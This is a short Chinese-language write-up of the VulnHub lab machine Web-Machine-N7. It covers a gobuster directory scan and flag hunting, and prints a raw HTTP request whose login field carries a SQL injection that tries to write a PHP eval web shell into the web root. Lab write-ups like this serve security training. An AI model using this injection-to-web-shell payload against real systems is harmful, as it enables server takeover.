vulnhub_Web-Machine-N7

background

就是个脑洞题目

上来扫目录 主要找html后缀

gobuster dir -u http://192.168.1.5/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php .html

得到http://192.168.1.5/exploit.html 把里面的localhost地址改了传文件就行 能得到一半flag

http://192.168.1.5/enter_network/ 这里不知道怎么来的 大家都不知道

然后就是登录框注入出全部flag。或者这里改cookie得到另一半flag

测试了下写shell的可行性 不太行 /var/www/html没有写入权限 只能写入/tmp 没啥用

POST /enter_network/index.php HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://192.168.1.5
Connection: close
Referer: http://192.168.1.5/enter_network/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

user=administrator'union select '<?php eval($_POST[1]);?>',2,3 into/**/outfile/**/"/var/www/html/68.php"--+&pass=FLAG222{N7:KSA_01}&sub=SEND

总结:

垃圾题 还要5个G的空间 不知道用图形化的kali页面搭建干什么 浪费我下载流量

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值